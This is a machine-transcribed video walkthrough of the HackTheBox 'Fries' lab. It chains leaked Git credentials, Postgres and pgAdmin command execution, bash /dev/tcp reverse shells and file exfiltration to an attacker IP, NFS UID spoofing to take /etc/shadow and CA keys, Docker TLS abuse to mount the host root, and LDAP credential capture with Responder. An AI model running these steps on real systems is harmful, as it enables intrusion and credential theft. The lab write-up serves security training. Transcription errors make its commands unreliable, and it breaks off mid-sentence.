HackTheBox - Fries
Transcript
Machine-transcribed by YouTube. Expect errors in names, commands and version numbers.
What's going on YouTube? This is IPSC and today we're doing fries from hack the box which is a pretty big box that starts off with Linux and ends with Windows. It's assumed breach. So we start out with a set of credentials but it doesn't tell us exactly where they go. But after doing a lot of um enumeration we discover a git t instance and can log in. This git t instance gives us information about a pg admin container and we can find where that is get a shell on it and then that gives us some credentials to log into the host via SSH. After poking around, we discover Docker is set up to off via SSL and NFS is running. We can abuse NFS to read the SSL searchs, allowing us to authenticate against Docker and then create a image that has the root host mountain, so we can get root pretty easily there. Once we'll root on the Linux box, we find another set of credentials that gets us to the Windows admin domain. And after doing some reconfiguration of its AD certificate server, we can forge a certificate that lets us authenticate as admin. So with that all being said, let's jump in. As always, we're going to start off with an end map. So - sc for default scripts as v numerate versions- reason. This will give us things like the TTL OA output all formats in the end map directory and call it fries. And then the IP address of 101 129 33.43.
This can take some time to run, so I've already ran it. Looking at the results, we have around 16 ports open. The first one is SSH on port 22, and the banner tells us it's an Abuntu server. Interesting enough, we do see a TTL of 62. The default TTL on Linux is 64. Then every hop it decrements by one. So most likely when you do Linux machines on HDB, it's one hop away through the VPN. So you normally see 63. So it being 62 is somewhat interesting. The next port we have is DNS on port 53. The banner is simple DNS plus, but interesting. The TTL is 127. On Windows, the default TTL is 128. decrements one each hop. So from
this just alone, I'm assuming this is going to be a um Windows host with a nested Linux VM. I don't know if this is like HyperV. It could also be like the Linux subsystem on Windows or WSL Windows subsystem Linux. I forget exactly the acronym, but I'm assuming Linux is the child in this case. Um we
have HTTP on port 80. It's telling me that's engineext also running on Ubuntu. And I'm going to go open up my host file real quick and we'll start adding things. So let's do 10 129 3343.
And this is fries.htb. And let's see what else do we have. So the next port is going to be keraros. So this is definitely a windows domain controller as well. We get some extra host names like dco1. So let's go ahead and add this. So I'll go down and we can say dc1.fries.htb. I'm also going to say DC01 here. Save.
Let's see what else do we have. Um that's standard active directory. There is um https that is engineext on Ubuntu.
Specifically right here. The thing I'm looking for is a um another name. So
this is probably going to be the name of the Linux box in the SSLert which is pwm. So let's again let's go ahead and add this to our host file. So pwm.fries.htb. Boom. There we go. Save that. And let's see what else do we have.
SMB. More ad stuff.
Um, that is still a land man name. Let's see. Nothing really interesting. Uh, we do have 5985. This is going to be WinRM.
Um, and we have a clock skew. So, that is about all we have. There is a lot to start with. I'm just going to do what I always do and start with web. So, I'm going to go to http fries.htv and I also want to go to https um what was it? pwm.fries.htv which was the SSL certificate. So, we can again accept this risk. And it looks like we have two different pages. A password self-service reset on HTTPS and then a welcome to fries which is a restaurant on HTTP. So, looking at this, I just want to look a quick look at the HTTP source to see if I can tell if it's WordPress or things like that. Nothing really sticks out here. Uh, we could try, let's say, index.html.
Uh, not found. Index.php, not found. U, maybe this is going to be
um like Python flask or something. Let's see. Carl-ash I look at the headers. Nothing really leaks out. Um, let's see what 404 page is this. I don't know if this is default engine X or not. Um, let's see. OXDF 404. Let's
go to Google, not duck.go.
This may be a flask header. Um, now that I'm looking at it, that's that's definitely going to be flask because engine X you see a 404 like that. Apaches that. Let's see. Flask. Um, yep. This is it. So, we know this website fries.htb is going to be flask. Um this is PWM. If we click this little
down arrow, we get some more information. It is uh running version 208. So let's see. Vnodes.ext uh PWM. Put
that here. Sure. If we look at CVE, um
let's see. CVE details. Come on. Load. Thank you.
Accept. Sure. Going to take a while. There we go. PWM uh not found. Let's see.
Is there a GitHub link? PWM GitHub.
There we go. PWM project. Oh, come on. If I do a search, let's see. We could probably look at issues and go to security, but there's quite a bit there. Security and quality. No vulnerabilities active. Does it tell me what this is named? Um, what is PWM stand for? It's like password something management. I I honestly don't know. It's not even uh saying password self-service L.
That is unique. Um, CVE details PWM.
Let's see. 2025 CVE. Let's see. Is this going to pull it up? Um, PWM
prevent divide by zero
in the line. There is a CVE that we're supposed to find here. I can't believe I'm having trouble finding it. Sometimes when you do it live, it just doesn't work easily. Um, let's see. Is it this? I bet if we add the version, that will help. Uh what was that version?
Uh that is a log 4j. Let's see. Exploit GitHub.
Is there anything LDAP password
general
sneak has something? Let's see. B2s.
Apparently, this was in HTB Authority a couple years ago. Um, but maybe we'll come back to this because I'm not drawing anything right off the bat, but we'll figure it out when it's more relevant. But normally, like I like looking at versions to look for types of exploits. What I should have been doing is testing things like credentials first, right? We always want to have recon going in the background. This is an assumed breach box. Oddly enough, um it doesn't tell you what the credentials go for. So, I am just going to try logging in with the credentials that hack the box provided, which is this. And let's see, sign in. I could try d.cooper as well, but this doesn't let us in. If I go to configuration manager, we can try the password here.
Nothing works. Um, let's go with a
not far buster. Uh, let's do fuff. We'll do a header host. And what do we want?
Fuzz.htb word list opseclist discovery. Uh, DNS subdomains top million. Let's
just do 5,000 so it's quick. Uh, URL is going to be HTTP fries.htb.
And let's see. um AC for autoc calibrate and we do get another subdomain of code. Um I probably should have also looked at the SSL certificate. Uh sometimes SSL certificates do have um alternate names and things like that where you can get more information. Uh we have a potential username of web here. Uh but nothing too interesting, right? So let's go back. Um
let's check out what code is.
So add this code.fries.htb
save that http code fries htb
and we have a get t repo. If I click on explore we don't really get anything. If I click on sign in I'm going to paste that password and the username we have. So cat what was it? Creds. I saved it. dcooper.fries.htb htb save this put it and
um I'm also going to start creating a users.ext text. Actually, it was web. We saw web was in the SSL certificate I showed a couple seconds ago. Um, potentially Dale is another user.
Let's see what do we have. Fries main website. Looking at this, we have SVC at web. So, SVC is a user on this box.
Let's see. Nothing too interesting. They definitely use Docker. It is a Flask app. Postgress is used. Um, but
nothing too interesting. We could take a look at the source code. Um, but I don't really think there's anything here. I'd probably run it through Sneak to see if there's anything. But looking at this, it looks very much like the code to fries.htb, right? We got the menu here. Meals, beverage, snack. Um, this looks very familiar. If I look at the commit history, uh, that's not what I wanted to look at. Uh, where is history? That was just one single commit. Let's go here. Um, where are commits? There we go. We could just have a program kind of analyze this. I know I've done that in the past, but when I'm just glancing at a project, one of the first things I always look at is whenever they do a git ignore update, I generally like looking at those because we do see more information leaked right here. Um, we have a database uh URL. This is Postgress. We have another credential here. So, let's see. I'm going to do V
passwords.ext. We have that password there. We have a secret key. We can save this as well.
Let's see. Is there anything else in this repository? No. And the whole reason I like looking at um
the like git ignore things because every time I'm in a git repo I commit something I see like oh my god there's av file let me remove that we'll put it in a git ignore and I always forget how to purge it from the history and then it gets leaked and that's somewhat common right so there's a lot of just treasures in the um get ignore commits normally
let's see is there anything else we and see um the configuration we leak another host name. We have db management05.fries.htb. So I'm going to go ahead and add this to my host file. So let's do a um pseudo v etsy host. Then let's add this host as well. And then we can try to go to this website see what this is. And we have pgadmin 4.
Um and we've got email and username here. Um let's see. Uh let's go with
this and the username password we can grab this attempt to log in and for version 9.1. So v notes pgadmin uh what was it four I think I said 9.1 was the version and let's see if I go to servers it
wants us to enter the root password for fries.htb um I'm going to go into my passwords I think this psql root that was in the commit history that may be it. So let's go ahead and enter that password. And there we go. it lets us in. So we have a few databases. We have the git t database. We have the postgress database and whatnot. Um I don't know exactly how to use pg admin. Um what I ended up doing was going into the query tool because I know how to write postgress, right? So we could just do um queries here, right? Uh let's see is it slashdt?
If I run this query, um, no. Let's see. Select
table name from information schema.tables. Is that going to work? There we go. So, we have a bunch of information. I wonder if I do a select star. Is this going to overload me? Not really. So, we have the database name, the table name, the type of schema. I don't know exactly public pg catalog, a bunch of Postgress things. But we have some information here. So I'm going to say um where table name
we'll say I like for a case insensitive match. And I'm going to say user with percents. So we're going to look at all the user tables, right? Uh PG user. So let's go ahead and say select star from PG user. What information do we get here? Root. Um it's not showing us the password. That's interesting. Let's see what else do we have. So, PG user um catalog name. We got a user table. So, we can just say select star from user.
Uh we have to probably comment that out
and only one user here. Um the other
thing we could do in Postgress is try to get command execution. And this is kind of a rabbit hole, but it's something I um spent a lot of time on. Uh you normally do copy and then the table you want to save the results to. If you just want to run a command, you can do copy and then select nothing to program and
then we'll say sleep one to see if we get code execution. So if I do this, we can see the query took uh one second. We can say two and we'll get two seconds out of this. So we have code execution here. We could just send a reverse shell. If you want to get output here, um we could do a
create temp table cmd out and then I'm
going to say ID serial which is going to auto increment the ID column by one every time and then line text. So this
temp table, this is going to create a table, but it's not going to add it to the Postgress thing. Um, it's just going to be virtual for my session. So I create this table first. So now I can store the results here. And then when I exit Postgress, the table's going to get wiped out automatically. Um, so now we can say copy cmd out. um specify the
output which is going to be line and then from program id
and then if I just do select star from um what do we call it cmd out
now we have line one and then the command do it again and like you see it saves the results right um the other way
we could do is run this select the output then drop the table every time. Um, so if we do this, we probably don't need ID serial. We could go this way. Um, drop table cmd
out, I think. Let's try this.
Already exist.
Is that going to work? Uh, not really. I'm sure there's a way to do it. Um, but this is how I do it. There we go. That's created. Let's say order by ID descending
limit one. Run. There we go. So now we only see the latest. So we could say ls-la. Run it. And unfortunately it puts each of these in one line. Um, I wonder if we could do like a truncate to put it all in one, but I don't know exactly how to do that. I'm always fine with this. And now we have the output of that command. But running things like this is a pain. So let's just get a reverse shell. So I'll do um b- c b- i dev tcp 1010
1014171. I think I am. Uh close that. That should
be fine. We don't have to select it anymore. Let's go here. nclvmpp 9001.
Run. And we get a shell. Awesome. So, we can say Python 3- C import pty pty.spawn
bin bash.
Um, hold on. Copy. Put a single quote
and paste. Oh, no. Python. Um, let's see. Script.
Is it like uh quiet bashdev
null? Is this how we do it? Um let's see. Help script. Let's script-h script options file. So let's do a script and then quiet. Uh, we don't need to append.
Let's see. Devshm bin bash. Is that going to run as
Q unexpected? I wonder if I just do this. Not dev null. There we go. Now I'm in bash. Uh, let's do st y raw minus echo foreground. Enter. Enter. bash uh export term is equal to
xterm. There we go. Now a shell on the Postgress server. This doesn't really get me anything. I spent a lot of time um playing around with this trying to get data out of it. But there is another
thing at play that I want to show. Um let's see. If we go to help about PG Admin 4, we got uh PG Admin 4 9.1.
PG Admin 4 CVE 9.1. Let's see.
Um, where is Google?
There we go. Oh, that's XSS.
That's not it. Security Advisory, remote code execution. This could be it. There's another rce. Let's see. Does this tell us exactly how it works? Um, SQL query
tool download. It does. Let's see. Is there more details
up to 9.9?
Let's see. Is there the commit? How do we run this?
Come on. Where's the proof concept? Uh, let's see.
google.com GitHub Python 4 remote code execution
maybe that
well let's see so they send the payload I was hoping it would say the URL um it is also in metas-ploit let's see do we have this easy to read.
Come on, GitHub. Hide the files.
Exploit. So, let's just look at what a query looks like. We'll come back to that in a second.
So, let's see. I'm going to get rid of
let's just do a select one and then I'm going to go into burpswuite and we will intercept this proxy status query tool start. It's one of these we do.
Let's see. That's starting. Let's go to status. That's not it.
Let's see.
I'm just going to turn intercept off real quick. Let it run. Look at the history of what it sends.
Okay, let's see. Maybe easier just to run the exploit script at this time. Uh let's see. Query tool. So it runs SQL editor query tool download. So we have a start. So I'm going to add download here. We just do run bad request because
I don't know how that got there. We have some data there. Let's see. URL join is query tool true.
Wonder if we have to have this. I don't know if we do. Let's see where is the payload.
JSON join
content type that's adding a header
is system ever set here query
block the plain SQL contains meta commands Here's
the commit. I think
it's going to be easy to tell from this commit
issue e
that is what is added.
This isn't what I want. Let's just look at the exploit code one more time and then we'll just run it if we have trouble. Let's see. Get curf. We're logging in now. Finding the server
join. This is starting a query. Oh, right here. JSON query committed payload. So if we look at what payload is, it is just going to be Python code.
So maybe Postgress like the PG admin is
going to execute any Python code here. Let's just play with that theory. So we can say query um I spell it right. COMM.
Yep, I think that's right. And then what? Import uh time. One. Is that going to work? Oh, what do
we have? Maybe uh invalid syntax string
one. Um let's see.
Eval maybe
still getting invalid syntax. Um let's see. Print um test. Oh wait, did I use sing double quotes and JSON? Maybe that was it.
uh could not find the required parameter. So, we're getting closer. Um let's see
like that. So, that did not error. So, that is looking better. Uh let's try import time
dot sleep 1 send send inv valid syntax let's just go with 3 seconds to see if we get longer than 1 second still not um this is definitely
valid JSON we could try a different way of importing so we can say import like this time All right. And then
sleep 3. I think that's valid Python.
And that's looking better. So maybe the semicolon is a bad character and that's what broke it, right? Because we have a 3 millisecond response there. Now if we do one, we'll have a 1 second, right?
Yep. So let's now add OS and then we can
say system and let's see bash- i dev tcp 1010 10148
9001 0 and1 like that and hopefully this
all magically works. Um let's see
nclvmpp 90001 send this
no shell. Um, let's see.
I wonder if Let's try 443 real quick. NC LVMP 443.
Is there any like firewall at play here? No. Um, let's see. Pseudo TCP dump- it
ton zero. Let's try a ping. I'm always
bad with knowing what the um argument is to do one ping. It is - C on Linux.
I'm also going to add dash N to disable DNS. Uh let's just do this in a new thing. So I save this command. ping- c1 1010 141 171.
So we definitely have code execution. Oh wait, um ICMP.
Okay. Yes, we definitely do have code execution. Um, we're just not getting the shell
10 171. Let's do the right IP address. Um, old habits die hard, right? Um, still nothing. 10 1014171.
That is correct. Um, let's do bash- C. And I'm doing the escape quote to work. And there we go. Oh, wait. That's still
I guess it's progress. Like it's hanging, but we did not get a shell.
Um, let's see.
Cancel. Run. And 443 works. So, there is something blocking port 90001, it looks like, but 443 seems to work just fine. Um, if this
did not work, um,
yeah, let's just go with it real quick. So, let's pretend that this didn't work and they have some good network ACL on this Docker container, right? Um, that's a very realistic somewhat scenario. Um, we are have a reverse shell to a different Docker container, right? So, theoretically, we could listen here. Let's see. NCLVNP not found. NCAT, do we
have that? No. Hold on. Let's go to google.com static and cat. We will download this
static binary and then we will have the server reach back to this container and we'll try to get it on 9001. Right.
So let's go here. View roll. I should be able just to W get this or we can save it. That is good to me.
So let's see. Maker dubdubdub mv
downloads ncat here python 3 http server
curl wget don't have either nvnp 90001
let's send ncat this way um let's see
cat dev tcp 101014171 90001 to ncat
Uh, no connection.
Why is there no connection?
Um,
is that going to be 10 10 for
echo one to dev TCP 1014171
90001.
I think something's weird at play with the IP tables of this box.
Yeah, there must be like some reuse address shenanigans going on because this shell I'm on is 9001. Um, and it's
just not working again. Something weird is happening in the IP tables land. Um, I bet Hold on. Let's go here. Let's do NCLVMP 90002. Let's go to this. Change this to 9,02. And yes, we get a shell.
So, something weird is going on in the networking of this box that prevents us from doing multiple things on the same port. I don't understand what's going on at this point, but at least, hey, we figured that out, but I want to close the bridge here. And let's get NCAT on this box. So, we can send the reverse shell here because we started that task. Let's might as well finish it, right? Um, we can cat this to
cat itself. Um,
let's see. Is that going to work? There we go. Connection received. It doesn't take that long to transfer. Sage mod plus xcat. There we go. LVNP 90001.
And let's see. We can probably just use the host name because most things in Docker can magically resolve hosts. So if I do dev TCP this and we send it, boom, we get a shell. So
multiple ways to do this step. Um I've never seen it like have trouble with the uh using the same port twice. Normally like the kernel has this reuse address and that all magically works. Guessing something weird at players here. Probably because it's a Windows host. Something weird probably is going on there. But now that we're in this container, uh, what could we look for? Um,
if we go and grab, let's see, find.graphs SQL. Let's do a lowercase.
Is this going to find? Oh, man. Too many things. Um, let's see. Find-ame store. DB see not there ps-ef we have the app that's inverg unicorn
let's see pgadmin o d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d dab because there is PG admin has its own database right it's kind of like um man I forget the PHP um my PHP DB
whatever the PHP common one is it's been so long since I used it, but it's got its own database. So, it's probably n /pg config or var lib. Um, docker
container. I'm going to guess this is it. Uh, file this file not found. That is annoying. Not found there. Let's go ahead and look here. Um, not found. Find dot-ame.
I'm just going to do star db pipe all errors to dev null and var lib pg admin pgadmin for that.
Okay, so it's just not in pgadmin 4 directory. That's fine. And see lvnp I'm going to do 9003 and we can say pgadmin4 db. And
then let's cat this file
to devtcp 101014171
90001. Oh shoot. I wanted 9003. Old habits die hard. Does this still have a shell? It does not.
Let's just run that again. Run this. 9003.
And that's going to fail because I have a dot /var. There we go. 90003. Boom. So now we have that DB. It
actually doesn't get us anything. Um, there are some credentials here, but doesn't get us anything. I just like showing good recon when there is some. If we do a env command to look at all environment variables, they have this pg admin default database password of fries foods 2025. We can grab this. And
looking through, I don't see anything else here. So, let's do v passwords.ext.
We can add yet another password of fries foods. And now we have a few users and a
few passwords. Um, I guess we could also go in the databases and try to find extra users. I know there's going to be um some users in this thing. Uh maybe table
space default. Is there anything here? Maybe login group roles. Um read all monitor somewhere here. We
can view extra users, but it's not needed. Anyways, now that we have a decent list of users and passwords, I'm going to run hydra. I'm going to give it the users and then passwords. Let's do four threads. And then the protocol is going to be sh 10129. Um I'm just going to do fries.htb because I forgot the name. And the whole reason I'm just doing um hydra instead of net exec is because the hydra threading does it per like login. Net exec threads it based upon um what is it? Um
uh host. So if you had five hosts then net exec will thread all five host of those together and then like do them one at a time. But if you have a lot of credentials for one host the threading and net exec doesn't do anything at least last I checked. Um we do have a
login. So let's do sh svc at fries.htb
paste in this password and we get logged in. Awesome. Um, if we do a ps-ef-forest, um, just to look at running processes,
uh, we do see quite a few NFS, which is a little bit odd. Um, let's see what else do we have. Um, SSSD. So, this is,
um, logging into the domain somehow. Um,
we see domain fries.htb. So, we have some ad integration. See anything else interesting? That's my force command. That's engine X. We have Docker. Um, it's running on a socket. We
have OZ broker and it's doing TLS verification. So, it's using like mutual SSL authentication. So, if we get SSLerts, we can probably connect to Docker and that is a good way to prove on this. But again, we also saw NFS and NFS is a good way to prove. Um once we do provask I'm thinking huh we do have like um active directory so maybe we could get a credential out of um that
let's see and there is also the PWM which is like a password manager or something I think it was um I exact don't know exactly what it is but we haven't accessed that service yet but now I'm thinking we should take a look at the actual box or the NFS real quick.
So if I look at this I see there is NFS um the directory is served web.fries.htb HTB um anyone can connect. It's a readratable share. This no subree check. This is really dangerous. Um what this means is like we'll be able to spoof directories. We can actually escape this directory and grab other files. Insecure. This isn't as insecure as it sounds. Um this is making sure like the clients I think use a low port which means you have to be root to connect to the server. um it's not really that insecure. Um there is no SEC option
which would say like um Kerros login. So
since there's no SEC um even if it's NFS version 4, we'll be able to spoof UIDs. So that is my main go-to here. Um I'm going to do a squiggly C. So if you
don't know, um if the first thing you type on a line is this, it'll drop you in this prompt. And I'm going to forward port what is it? 2049 which is NFS.
So now I can connect to this. So that'll go through. And now if on my box I do a show mount. Um what is it? Dash a I
think uh proxy chains. Um we need local host
RPC program not registered.
Um, oh wait, I'm not doing proxy chains. I can just do show mount. Um, because I mounted the actual port, I did not do a dynamic mount. Um, that still doesn't work. Let's do pseudo. Let's just dod 1080.
And let's say that should still be fine.
Okay. Yeah, it connects to port 111 first. So this is the port mapper service and then the port mapper tells us how to access NFS. So we see um this
IP address has this mounted I think or is hold on a A
uh okay I let's see I think E would be exports and A is clients show mount-h
all exports
I want to say this host has that mounted but I'm not positive But here we have the show mount command. We can access it. So if we now do the same thing with
net exec. So we'll say proxy chains net execfs. It's going to say the root escape is true because we have that no subtree check which means we can then do a get file on like Etsy shadow. Um I'm going to write shadow here. And there we go. We have downloaded. If I look at shadow, we now have the shadow of the box. And this worked because the shadow is readable by a different user. Um if I try to do anything like write the file or do things as root, it doesn't work because NFS doesn't have the um what is it like no root um squash bit set. So since this bit isn't set, whenever we do something as UID0, it gets mapped to um nobody. So we
can't access any files owned by root. The shadow is a really really unique file in the sense that the group is shadow and that's readable. So when we downloaded the shadow, we didn't use the root UID, we used the shadow G ID and that's what let us download it. Um because if we try to do anything like if I try to grab um let's
see root ssh ID RSA probably and we can say
ID RSA it's going to fail um
it just uh can't access things owned by root. So, this was kind of a rabbit hole
because the whole no subree check, that's just something that NFS likes doing by default. I couldn't find a good way to exploit this other than grabbing the shadow, but the root password's not crackable. Um, so the next step is uh
actually now that I'm saying that, let's see. PSF forest uh grap-w
config logs gc. Let's see. Applation pathconfig. Like maybe we could guess where the pwm config is from here and read that, but I think that's in the root directory. So we wouldn't be able to. Um so yeah, I don't think there's anything exploitable there. So let's just go ahead and mount the NFS share. So I'm going to make directory NFS. And then we can say um
let's go pseudo su proxy chains mount-tfs
fries.htb what is the share
srv web.fries.htb HTB.
See, that should mount, right?
It's hanging. What if I do local host?
Okay, I think it's mounted. And the whole reason why I just did um pseudo su and then ran proxy chains is I want to say if I do proxy change then pseudo pseudo like does something with um LD preload and prevents proxy chains from working. Um I don't like doing pseudo and proxy chains out of habit. I just always switch to the root user and then do it. But if I go into this directory I can see a few files. Um those are probably going to be what? SRV web. We could see them here. We do lsla.
Uh we could go into the web routt which is um the python flask app that we had
from what is it? Uh the git t.
There is a share directory and then a searchs directory. If I go inserts I get permission denied. Um share I could go
in there actually but there's nothing here. Um we have infra managers here. If
we gp or let's just cat the past wd file real quick.
Uh we don't really have many users on this box. Um we could also cat the group
and I don't see the group in from managers and that is because um
it's active directory. So let's see get ant is it group this we see these users are members of
the group but that's not really what's important what is important is the g
um because root owns it and we just want
the group but I'm also going to say get ant um I think it's passed to be d actually I don't see the user there.
Hold on. How do we get the UID of like Dooper? I do user D.Cooper unknown database. There we go. So D Cooper has this UID and I want to make sure I'm in this group
because right now if I try to go intoerts I can't here because my ID is 1,00
right? So, what I'm going to do is um
change my UID here. And to do that, I'll run the set priv comm command. And I can say reuid is equal to um we'll set it to
dooper. This part isn't really that interesting or needed. All we care about is the GD. But I like making it map and
actual user. Right? So then we can say this group. Um, and then after this, we need to say clear groups to clear our existing groups. And I'm going to run bash. So now if I do ID
that Oh, I probably should do pseudo, right? There we go. Now if I do ID, you can see my UID and GD. So now if I go intoerts,
magically works. So what just happened here is um NFS if you don't use like
Kerros or that sec thing to make the O
um it just trusts whatever UID the client sends. So I just say I'm that user and it lets me in. Um it's a super common uh vulnerability. So I'm going to make a directory called CS and then we're going to copy everything here. So let's do HTTP um fries uh home ipsac htb
make d temperterts cp stir temperts
then we can cderts cp temperts here uh pseudo there we uh pseudo ch own IPSC IPSC.
So the reason I was having trouble copying again my UID and GD didn't match up. So that was a little bit of a pain.
But now we have all these certificates. And what are we going to do with these certificates? Well, I'm guessing they probably go to that um Doco registry, right? um because when we did the PS on forest we saw docker was configured to um use
SSL as a way to authenticate. So if we create a certificate here we should be able to authenticate against docker and then if we can authenticate against docker then um we should be able to priv. So let's do a open SSL gen RSA out
um I'll say IPSAC key uh 4096 I think is the bytes. So now we have a key open a cell request
and then after this
um let's see we have to specify key and then the subject doesn't matter what we put as the subject um I'm just going to put root but I think this doesn't matter docker just cares that we have a um signed certificate Okay. And this command is going to give us the certificate request the CSR file. Um
unknown option is dash sub is it subject
extra option.
So how okay there we go. Now we have the CSR. Um
we want to make sure this certificate is a um usable by client authentication. So
we have to add this field. I know SSL certificate generation super odd. Um when I was doing this box I had Claude help me run all these commands. So don't think I have this all memorized. So now we want to sign the request. So, we're going to say um the request is ipsseack.csr. Uh the CA that is going to be the CA.pm.
Um the CA's key, hopefully we don't have to decrypt this. That was CA key.
And the TLS key
is going to be IPSAC.key.
And then ca create serial
dash out um is this ipsc.pam M days 365 and the
extension file that
unknown option TLS key
is that not it let's see CA key.
Could have swore we needed that.
Okay, so maybe we didn't. Um, let's see. We have What did that create? That created ipsack. Right. So, I'm going to cat this certificate and we're going to hope it all worked. Um,
so let's see. I can probably go in devshm here. Uh, v ipsack.pm.
There we go. Docker TLS. Let's see. psf grap docker grab tls
uh docker
paste
see we can copy this the tsert there is devshm IPSM
oh I wonder if we can even read this um we'll see in a second so we did that that uh caert uh key.
I don't know if this one's going to work actually. We'll see. Fail to initialize. So yeah, that failed.
Um so we want to get all the certificates on this box. That's annoying. wget- r 10 104 171 8000 That should
download every file, right?
cpipsc.pm. Wait, I wonder if I even needed to sign anything because I think we have all the keys here then. CA server key. Hold on a second. Could
I just run this?
Where is my Docker?
I probably should look at all the CA information to see. Um, but let's see. TLSERT. Where is it?
ca.pm.
Right. Yeah,
server.pm is the next one.
See you found a certificate rather than a key and the PM of the private key. Let's let's see. We have the key one of this TLS shirt. If that was IPSAC.pm, this is the key we created. And there we go. So, we just had to use the stuff we generated. We probably didn't have the private key to um something. But now we
can run the Docker commands. So we can say um images and we can see what images
there are here. And we should be able to start up any of these images. And then when we start it up um mount its home
directory to um slash, right? So let's
do a um run it. We'll delete the container when we're done. We're going to do a mount. We're going to mount slash to um slashmnt. And what do we want to run? Let's do fries web. And then I'm going to say bash.
So now we're starting up the fries web container and we should have the root OS
mounted to slashmount. So if I go into slashmount, there we go. So now I can just go root um there is user.ext
there's an SSH and we have ID RSA. So let's go ahead and switch to SSH and grab this key.
So I'm going to copy this.
Go back. I'm going to say V root ID RSA.
paste chmod 600 sh-i
root at fries.htb
and there we go. Now we are root on this web server. So let's take a look at what files are in root. And it looks like we have the user.ext. Um we have scripts and bunch
of other things. So we can either start looking at scripts or start going into like how this Linux box is hooked up to active directory. My first thought is I want to get into PWM. And that's what we see here. Uh we have a config and a work path. Let's go into config. And then we have the PWM configuration.xml. So looking at this, we see a config password hash. And we have a password right here. So while we look at this, I'm going to send this over to hashcat and we'll start trying to crack it. So let's go cd hashcatv hashes. I'm going to call it just pwm um hashc cat. I need to do a dot slash.
There we go. And then opt word list rocku.ext. Let's just make sure it starts. It may want us to pick like the hash mode. Um
yeah, this is probably just a standard brypt. So let's go ahead and take a look at what else we have. So we have some LDAP stuff. And then let's see ODA app certificate.
That's not too interesting. Modify time.
We have a encrypted password. So whenever you see encrypted that means you can probably reverse it. And there is a way to reverse it. Um I don't know off the top of my head and honestly I'd probably just give it to Claude and then Claude will probably look at the config and do some research and figure out exactly how. I'm not going to do that in this video because there's another way we can get it without just asking AI or reading a bunch of source code because PWM is open source. So, we could always look at how it's encrypted and decrypt it. Um, it looks like this is probably going to be the SVC_infra user. So, um, let's see. We could just
go V users and we have another potential user svc_infra. Save that. What else do we have? LDAP
URLs. Don't see too much. Let's go back. It looks like we have cracked. And the password is rock on with an exclamation point. So, let's go ahead and add this
to passwords.
So, v passwords.ext rock on. And let's see. I'm just going to do nxc dco1 fries.htbu. http u user.txp
passwords. Let this go. Um let's go over
to pwm timeout. That's fine. Uh let's go
back here. I'm going to put rock on as the configuration password and it lets in. Awesome. So the easiest
way to export like LDAP certificates is always go into like the configuration wherever that is LDAP permissions maybe.
Let's see that's not it. Import configuration. I think we have to do that.
Where are we? Wonder if there's a different user. Restrict. No.
Do we seriously want to download and then edit then upload? That seems wrong.
Wonder if we can log in with a different user
because this doesn't let me edit anything, right? Overview
certificates can't add
let's see let's go back to PWM try admin
rock on that does not work svc_infra
rock on directory unavailable
That doesn't seem good. It's unable to reach the domain controller. Let's do configuration editor. I did manager last time. And that's it. Awesome. So, if we go to LDAP, let's go LDAP directories. No, LDAP settings.
Follow LDAP ad.
See, it is active directory.
Edit connection. Here we go. So, let's change this. I'm going to do LDAP colon 1010141 171. Um, is it default LDAP port? I want to
say it's like 361, right? Let's see. 389. I am glad I Googled that.
389. And before we click save, let's open up responder. So we'll do pseudo.
Is it a capital R? Probably lower case responder- time zero.
LDAP LDAP server is on. So now any LDAP
connection responder is going to try to intercept it. Click okay. Is there a
test
save? Oh, wait. Test LD app. And there
we go. So, it tried to connect to us. And since we have responder running, it was able to see the password that the server used to connect, which is this. Awesome. So, if we go back to where we had net exec, let's see. Um, I don't know exactly where tha





